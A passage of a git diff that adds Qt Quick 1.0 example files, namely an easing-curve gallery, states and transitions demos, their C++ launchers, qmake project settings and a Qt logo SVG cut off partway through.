+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationLockLandscape);
+ viewer.setMainQmlFile(QLatin1String("qml/easing/easing.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/animation/easing/qml/easing/content/QuitButton.qml b/examples/declarative/animation/easing/qml/easing/content/QuitButton.qml
new file mode 100644
index 00000000..c476b2b4
--- /dev/null
+++ b/examples/declarative/animation/easing/qml/easing/content/QuitButton.qml
@@ -0,0 +1,52 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+Image {
+ source: "quit.png"
+ scale: quitMouse.pressed ? 0.8 : 1.0
+ smooth: quitMouse.pressed
+ MouseArea {
+ id: quitMouse
+ anchors.fill: parent
+ anchors.margins: -10
+ onClicked: Qt.quit()
+ }
+}
diff --git a/examples/declarative/animation/easing/qml/easing/content/quit.png b/examples/declarative/animation/easing/qml/easing/content/quit.png
new file mode 100644
index 00000000..b822057d
--- /dev/null
+++ b/examples/declarative/animation/easing/qml/easing/content/quit.png
Binary files differ
diff --git a/examples/declarative/animation/easing/qml/easing/easing.qml b/examples/declarative/animation/easing/qml/easing/easing.qml
new file mode 100644
index 00000000..a6f3edd7
--- /dev/null
+++ b/examples/declarative/animation/easing/qml/easing/easing.qml
@@ -0,0 +1,159 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "content"
+
+Rectangle {
+ id: window
+ width: 600; height: 460; color: "#232323"
+
+ ListModel {
+ id: easingTypes
+ ListElement { name: "Easing.Linear"; type: Easing.Linear; ballColor: "DarkRed" }
+ ListElement { name: "Easing.InQuad"; type: Easing.InQuad; ballColor: "IndianRed" }
+ ListElement { name: "Easing.OutQuad"; type: Easing.OutQuad; ballColor: "Salmon" }
+ ListElement { name: "Easing.InOutQuad"; type: Easing.InOutQuad; ballColor: "Tomato" }
+ ListElement { name: "Easing.OutInQuad"; type: Easing.OutInQuad; ballColor: "DarkOrange" }
+ ListElement { name: "Easing.InCubic"; type: Easing.InCubic; ballColor: "Gold" }
+ ListElement { name: "Easing.OutCubic"; type: Easing.OutCubic; ballColor: "Yellow" }
+ ListElement { name: "Easing.InOutCubic"; type: Easing.InOutCubic; ballColor: "PeachPuff" }
+ ListElement { name: "Easing.OutInCubic"; type: Easing.OutInCubic; ballColor: "Thistle" }
+ ListElement { name: "Easing.InQuart"; type: Easing.InQuart; ballColor: "Orchid" }
+ ListElement { name: "Easing.OutQuart"; type: Easing.OutQuart; ballColor: "Purple" }
+ ListElement { name: "Easing.InOutQuart"; type: Easing.InOutQuart; ballColor: "SlateBlue" }
+ ListElement { name: "Easing.OutInQuart"; type: Easing.OutInQuart; ballColor: "Chartreuse" }
+ ListElement { name: "Easing.InQuint"; type: Easing.InQuint; ballColor: "LimeGreen" }
+ ListElement { name: "Easing.OutQuint"; type: Easing.OutQuint; ballColor: "SeaGreen" }
+ ListElement { name: "Easing.InOutQuint"; type: Easing.InOutQuint; ballColor: "DarkGreen" }
+ ListElement { name: "Easing.OutInQuint"; type: Easing.OutInQuint; ballColor: "Olive" }
+ ListElement { name: "Easing.InSine"; type: Easing.InSine; ballColor: "DarkSeaGreen" }
+ ListElement { name: "Easing.OutSine"; type: Easing.OutSine; ballColor: "Teal" }
+ ListElement { name: "Easing.InOutSine"; type: Easing.InOutSine; ballColor: "Turquoise" }
+ ListElement { name: "Easing.OutInSine"; type: Easing.OutInSine; ballColor: "SteelBlue" }
+ ListElement { name: "Easing.InExpo"; type: Easing.InExpo; ballColor: "SkyBlue" }
+ ListElement { name: "Easing.OutExpo"; type: Easing.OutExpo; ballColor: "RoyalBlue" }
+ ListElement { name: "Easing.InOutExpo"; type: Easing.InOutExpo; ballColor: "MediumBlue" }
+ ListElement { name: "Easing.OutInExpo"; type: Easing.OutInExpo; ballColor: "MidnightBlue" }
+ ListElement { name: "Easing.InCirc"; type: Easing.InCirc; ballColor: "CornSilk" }
+ ListElement { name: "Easing.OutCirc"; type: Easing.OutCirc; ballColor: "Bisque" }
+ ListElement { name: "Easing.InOutCirc"; type: Easing.InOutCirc; ballColor: "RosyBrown" }
+ ListElement { name: "Easing.OutInCirc"; type: Easing.OutInCirc; ballColor: "SandyBrown" }
+ ListElement { name: "Easing.InElastic"; type: Easing.InElastic; ballColor: "DarkGoldenRod" }
+ ListElement { name: "Easing.OutElastic"; type: Easing.OutElastic; ballColor: "Chocolate" }
+ ListElement { name: "Easing.InOutElastic"; type: Easing.InOutElastic; ballColor: "SaddleBrown" }
+ ListElement { name: "Easing.OutInElastic"; type: Easing.OutInElastic; ballColor: "Brown" }
+ ListElement { name: "Easing.InBack"; type: Easing.InBack; ballColor: "Maroon" }
+ ListElement { name: "Easing.OutBack"; type: Easing.OutBack; ballColor: "LavenderBlush" }
+ ListElement { name: "Easing.InOutBack"; type: Easing.InOutBack; ballColor: "MistyRose" }
+ ListElement { name: "Easing.OutInBack"; type: Easing.OutInBack; ballColor: "Gainsboro" }
+ ListElement { name: "Easing.OutBounce"; type: Easing.OutBounce; ballColor: "Silver" }
+ ListElement { name: "Easing.InBounce"; type: Easing.InBounce; ballColor: "DimGray" }
+ ListElement { name: "Easing.InOutBounce"; type: Easing.InOutBounce; ballColor: "SlateGray" }
+ ListElement { name: "Easing.OutInBounce"; type: Easing.OutInBounce; ballColor: "DarkSlateGray" }
+ }
+
+ Component {
+ id: delegate
+
+ Item {
+ height: 56; width: window.width
+
+ Text { text: name; anchors.centerIn: parent; color: "White" }
+
+ Rectangle {
+ id: slot1; color: "#121212"; x: 30; height: 46; width: 46
+ border.color: "#343434"; border.width: 1; radius: 12
+ anchors.verticalCenter: parent.verticalCenter
+ }
+
+ Rectangle {
+ id: slot2; color: "#121212"; x: window.width - 76; height: 46; width: 46
+ border.color: "#343434"; border.width: 1; radius: 12
+ anchors.verticalCenter: parent.verticalCenter
+ }
+
+ Rectangle {
+ id: rect; x: 30; color: "#454545"
+ border.color: "White"; border.width: 2
+ height: 46; width: 46; radius: 12
+ anchors.verticalCenter: parent.verticalCenter
+
+ MouseArea {
+ onClicked: if (rect.state == '') rect.state = "right"; else rect.state = ''
+ anchors.fill: parent
+ anchors.margins: -5 // Make MouseArea bigger than the rectangle, itself
+ }
+
+ states : State {
+ name: "right"
+ PropertyChanges { target: rect; x: window.width - 76; color: ballColor }
+ }
+
+ transitions: Transition {
+ NumberAnimation { properties: "x"; easing.type: type; duration: 1000 }
+ ColorAnimation { properties: "color"; easing.type: type; duration: 1000 }
+ }
+ }
+ }
+ }
+
+ Flickable {
+ anchors.fill: parent
+ contentHeight: layout.height+50
+ Rectangle {
+ id: titlePane
+ color: "#444444"
+ height: 35
+ anchors { top: parent.top; left: parent.left; right: parent.right }
+ QuitButton {
+ id: quitButton
+ anchors.verticalCenter: parent.verticalCenter
+ anchors.right: parent.right
+ anchors.rightMargin: 10
+ }
+ }
+ Column {
+ id: layout
+ anchors { top: titlePane.bottom; topMargin: 10; left: parent.left; right: parent.right }
+ Repeater { model: easingTypes; delegate: delegate }
+ }
+ }
+}
diff --git a/examples/declarative/animation/states/main.cpp b/examples/declarative/animation/states/main.cpp
new file mode 100644
index 00000000..3728c68f
--- /dev/null
+++ b/examples/declarative/animation/states/main.cpp
@@ -0,0 +1,57 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+
+ //Uncomment the following line to open the states.qml example and comment the transitions.qml line.
+ //viewer.setMainQmlFile(QLatin1String("qml/states/states.qml"));
+ viewer.setMainQmlFile(QLatin1String("qml/states/transitions.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/animation/states/qml/states/qt-logo.png b/examples/declarative/animation/states/qml/states/qt-logo.png
new file mode 100644
index 00000000..14ddf2a0
--- /dev/null
+++ b/examples/declarative/animation/states/qml/states/qt-logo.png
Binary files differ
diff --git a/examples/declarative/animation/states/qml/states/states.qml b/examples/declarative/animation/states/qml/states/states.qml
new file mode 100644
index 00000000..75f90b5b
--- /dev/null
+++ b/examples/declarative/animation/states/qml/states/states.qml
@@ -0,0 +1,101 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: page
+ width: 640; height: 480
+ color: "#343434"
+
+ Image {
+ id: userIcon
+ x: topLeftRect.x; y: topLeftRect.y
+ source: "qt-logo.png"
+ }
+
+ Rectangle {
+ id: topLeftRect
+
+ anchors { left: parent.left; top: parent.top; leftMargin: 10; topMargin: 20 }
+ width: 46; height: 54
+ color: "Transparent"; border.color: "Gray"; radius: 6
+
+ // Clicking in here sets the state to the default state, returning the image to
+ // its initial position
+ MouseArea { anchors.fill: parent; onClicked: page.state = '' }
+ }
+
+ Rectangle {
+ id: middleRightRect
+
+ anchors { right: parent.right; verticalCenter: parent.verticalCenter; rightMargin: 20 }
+ width: 46; height: 54
+ color: "Transparent"; border.color: "Gray"; radius: 6
+
+ // Clicking in here sets the state to 'middleRight'
+ MouseArea { anchors.fill: parent; onClicked: page.state = 'middleRight' }
+ }
+
+ Rectangle {
+ id: bottomLeftRect
+
+ anchors { left: parent.left; bottom: parent.bottom; leftMargin: 10; bottomMargin: 20 }
+ width: 46; height: 54
+ color: "Transparent"; border.color: "Gray"; radius: 6
+
+ // Clicking in here sets the state to 'bottomLeft'
+ MouseArea { anchors.fill: parent; onClicked: page.state = 'bottomLeft' }
+ }
+
+ states: [
+ // In state 'middleRight', move the image to middleRightRect
+ State {
+ name: "middleRight"
+ PropertyChanges { target: userIcon; x: middleRightRect.x; y: middleRightRect.y }
+ },
+
+ // In state 'bottomLeft', move the image to bottomLeftRect
+ State {
+ name: "bottomLeft"
+ PropertyChanges { target: userIcon; x: bottomLeftRect.x; y: bottomLeftRect.y }
+ }
+ ]
+}
diff --git a/examples/declarative/animation/states/qml/states/transitions.qml b/examples/declarative/animation/states/qml/states/transitions.qml
new file mode 100644
index 00000000..e55b877d
--- /dev/null
+++ b/examples/declarative/animation/states/qml/states/transitions.qml
@@ -0,0 +1,130 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+/*
+ This is exactly the same as states.qml, except that we have appended
+ a set of transitions to apply animations when the item changes
+ between each state.
+*/
+
+Rectangle {
+ id: page
+ width: 640; height: 480
+ color: "#343434"
+
+ Image {
+ id: userIcon
+ x: topLeftRect.x; y: topLeftRect.y
+ source: "qt-logo.png"
+ }
+
+ Rectangle {
+ id: topLeftRect
+
+ anchors { left: parent.left; top: parent.top; leftMargin: 10; topMargin: 20 }
+ width: 46; height: 54
+ color: "Transparent"; border.color: "Gray"; radius: 6
+
+ // Clicking in here sets the state to the default state, returning the image to
+ // its initial position
+ MouseArea { anchors.fill: parent; onClicked: page.state = '' }
+ }
+
+ Rectangle {
+ id: middleRightRect
+
+ anchors { right: parent.right; verticalCenter: parent.verticalCenter; rightMargin: 20 }
+ width: 46; height: 54
+ color: "Transparent"; border.color: "Gray"; radius: 6
+
+ // Clicking in here sets the state to 'middleRight'
+ MouseArea { anchors.fill: parent; onClicked: page.state = 'middleRight' }
+ }
+
+ Rectangle {
+ id: bottomLeftRect
+
+ anchors { left: parent.left; bottom: parent.bottom; leftMargin: 10; bottomMargin: 20 }
+ width: 46; height: 54
+ color: "Transparent"; border.color: "Gray"; radius: 6
+
+ // Clicking in here sets the state to 'bottomLeft'
+ MouseArea { anchors.fill: parent; onClicked: page.state = 'bottomLeft' }
+ }
+
+ states: [
+ // In state 'middleRight', move the image to middleRightRect
+ State {
+ name: "middleRight"
+ PropertyChanges { target: userIcon; x: middleRightRect.x; y: middleRightRect.y }
+ },
+
+ // In state 'bottomLeft', move the image to bottomLeftRect
+ State {
+ name: "bottomLeft"
+ PropertyChanges { target: userIcon; x: bottomLeftRect.x; y: bottomLeftRect.y }
+ }
+ ]
+
+ // Transitions define how the properties change when the item moves between each state
+ transitions: [
+
+ // When transitioning to 'middleRight' move x,y over a duration of 1 second,
+ // with OutBounce easing function.
+ Transition {
+ from: "*"; to: "middleRight"
+ NumberAnimation { properties: "x,y"; easing.type: Easing.OutBounce; duration: 1000 }
+ },
+
+ // When transitioning to 'bottomLeft' move x,y over a duration of 2 seconds,
+ // with InOutQuad easing function.
+ Transition {
+ from: "*"; to: "bottomLeft"
+ NumberAnimation { properties: "x,y"; easing.type: Easing.InOutQuad; duration: 2000 }
+ },
+
+ // For any other state changes move x,y linearly over duration of 200ms.
+ Transition {
+ NumberAnimation { properties: "x,y"; duration: 200 }
+ }
+ ]
+}
diff --git a/examples/declarative/animation/states/states.png b/examples/declarative/animation/states/states.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/animation/states/states.png
Binary files differ
diff --git a/examples/declarative/animation/states/states.pro b/examples/declarative/animation/states/states.pro
new file mode 100644
index 00000000..63650be3
--- /dev/null
+++ b/examples/declarative/animation/states/states.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/states
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+#DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xE9200E0A
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/animation/states
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/animation/states/states.qmlproject b/examples/declarative/animation/states/states.qmlproject
new file mode 100644
index 00000000..472e2802
--- /dev/null
+++ b/examples/declarative/animation/states/states.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/states"
+ }
+ JavaScriptFiles {
+ directory: "qml/states"
+ }
+ ImageFiles {
+ directory: "qml/states"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/animation/states/states.svg b/examples/declarative/animation/states/states.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/animation/states/states.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
